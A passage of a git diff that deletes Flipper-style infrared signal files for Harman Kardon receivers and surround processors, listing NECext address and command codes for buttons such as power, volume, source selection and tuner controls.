AM/FM_SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D3 00 00 00 -# -name: AM/FM_PTY_(REC/) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D4 00 00 00 -# -name: AM/FM_AF_(>) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D5 00 00 00 -# -name: 6_CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D8 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D9 00 00 00 -# -name: CLEAR/M4 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D9 00 00 00 -# -name: 6/8_CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: 6_CHAN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: 6/8CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: 6/8CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: 6_CH. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: INPUT_6_CHANNEL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DB 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DD 00 00 00 -# -name: D.SKIP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DD 00 00 00 -# -name: AM/FM_RDS_DISP_(STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DD 00 00 00 -# -name: AUTO_PRESET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DE 00 00 00 -# -name: AUTO-PRESET_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DE 00 00 00 -# -name: M-ROOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 -# -name: MULTI-ROOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 -# -name: MULTI_ROOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 -# -name: M-RUM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir deleted file mode 100644 index ac3ea14d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 50 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 51 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 52 00 00 00 -# -name: TR_SCAN_<< -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 53 00 00 00 -# -name: TR_SCAN_>> -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 54 00 00 00 -# -name: TR_SKIP_<< -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 55 00 00 00 -# -name: TR_SKIP_>> -type: parsed -protocol: NECext -address: 84 74 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir deleted file mode 100644 index 46fc359be..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SIB_FILTER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 00 00 00 00 -# -name: 70MM -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 02 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 03 00 00 00 -# -name: HIGH_EQ_(HIGH) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 04 00 00 00 -# -name: BASS_EQ_(BASS) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 05 00 00 00 -# -name: CUSTOM_2 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 06 00 00 00 -# -name: 6AXIS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 07 00 00 00 -# -name: STEREO_ONLY_(S/O) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 08 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0A 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0B 00 00 00 -# -name: CUSTOM_3 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0C 00 00 00 -# -name: CUSTOM_4 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0D 00 00 00 -# -name: SURROUND_SOUND -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0E 00 00 00 -# -name: CLASS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0F 00 00 00 -# -name: MONO+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 12 00 00 00 -# -name: CUSTOM_1 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 13 00 00 00 -# -name: EXIT/OK -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 18 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: SYSTEM_(SETUP) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1A 00 00 00 -# -name: OPTIONS_(SET) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1B 00 00 00 -# -name: SOURCE_(EDIT) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1C 00 00 00 -# -name: SURR_MODE_(EDIT) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1D 00 00 00 -# -name: SURROUND_(BAL) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 1F 00 00 00 -# -name: PAN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 40 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 41 00 00 00 -# -name: SOURCES_1 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 42 00 00 00 -# -name: SOURCES_2 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 46 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: SOURCES_3 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4A 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: CENTER_SPEAKER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4C 00 00 00 -# -name: VENUE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4D 00 00 00 -# -name: SOURCES_4 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 50 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 51 00 00 00 -# -name: SOURCES_5 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 52 00 00 00 -# -name: PANEL_(DIM) -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: SOURCES_6 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 54 00 00 00 -# -name: SOURCES_7 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 55 00 00 00 -# -name: SOURCES_8 -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 57 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 59 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir deleted file mode 100644 index ac19a889d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 00 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 01 00 00 00 -# -name: SOURCE_CABLE/SAT -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 04 00 00 00 -# -name: SOURCE_DVD -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 05 00 00 00 -# -name: SOURCE_THE_BRIDGE -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 06 00 00 00 -# -name: SOURCE_RADIO -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 08 00 00 00 -# -name: SOURCE_TV -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 09 00 00 00 -# -name: SOURCE_GAME -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 0A 00 00 00 -# -name: SOURCE_MEDIA_SERVR -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 0B 00 00 00 -# -name: SOURCE_AUX -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 0C 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 1B 00 00 00 -# -name: BACK/EXIT -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 1D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 20 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 21 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 22 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 23 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 28 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 29 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2C 00 00 00 -# -name: TR_SKIP_<< -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2D 00 00 00 -# -name: TR_PAUSE -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2E 00 00 00 -# -name: TR_SKIP_>> -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 2F 00 00 00 -# -name: TR_SCAN_<< -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 30 00 00 00 -# -name: TR_PLAY -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 31 00 00 00 -# -name: TR_SCAN_>> -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 32 00 00 00 -# -name: TR_STOP -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 33 00 00 00 -# -name: TR_REC -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 34 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 36 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 86 76 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir deleted file mode 100644 index 7e66d550b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CASSETTE_FF_>> -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 10 00 00 00 -# -name: CASSETTE_REW_<< -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 11 00 00 00 -# -name: CASSETTE_POWER -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 12 00 00 00 -# -name: CASSETTE_STOP_[] -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 16 00 00 00 -# -name: CASSETTE_PLAY_> -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 17 00 00 00 -# -name: CASSETTE_PAUSE_ -type: parsed -protocol: NECext -address: A1 00 00 00 -command: 18 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir deleted file mode 100644 index 31d11e5aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir deleted file mode 100644 index 9e1da22f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir deleted file mode 100644 index aee445f90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir deleted file mode 100644 index 6c8446d9b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir deleted file mode 100644 index 19dfe72d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir deleted file mode 100644 index ab27c6331..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VID_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir deleted file mode 100644 index 00f757a89..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_SEARCH>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SEARCH<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_A_-_B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: TUN-M -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: PSCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: AVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C2 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C3 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR/VID1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: XBOX/VID2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: TV_/_AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: TV/VID3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: VID_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D1 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D9 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DA 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir deleted file mode 100644 index 9d5d5fb62..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CASS_FAST_FORWARD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS_REWIND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_DECK_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS_SEARCH>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_SEARCH<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS_RECORD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS_SELECT_A/B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: SPKR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 52 00 00 00 -# -name: SPEAKER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 54 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CH. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 89 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: CENT_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8D 00 00 00 -# -name: THEATER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 92 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 94 00 00 00 -# -name: CORSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: 3-CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: DTS_SURROUND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A0 00 00 00 -# -name: DTS_NEO6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A1 00 00 00 -# -name: LOGIC7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A2 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C5 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: 6_CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D8 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir deleted file mode 100644 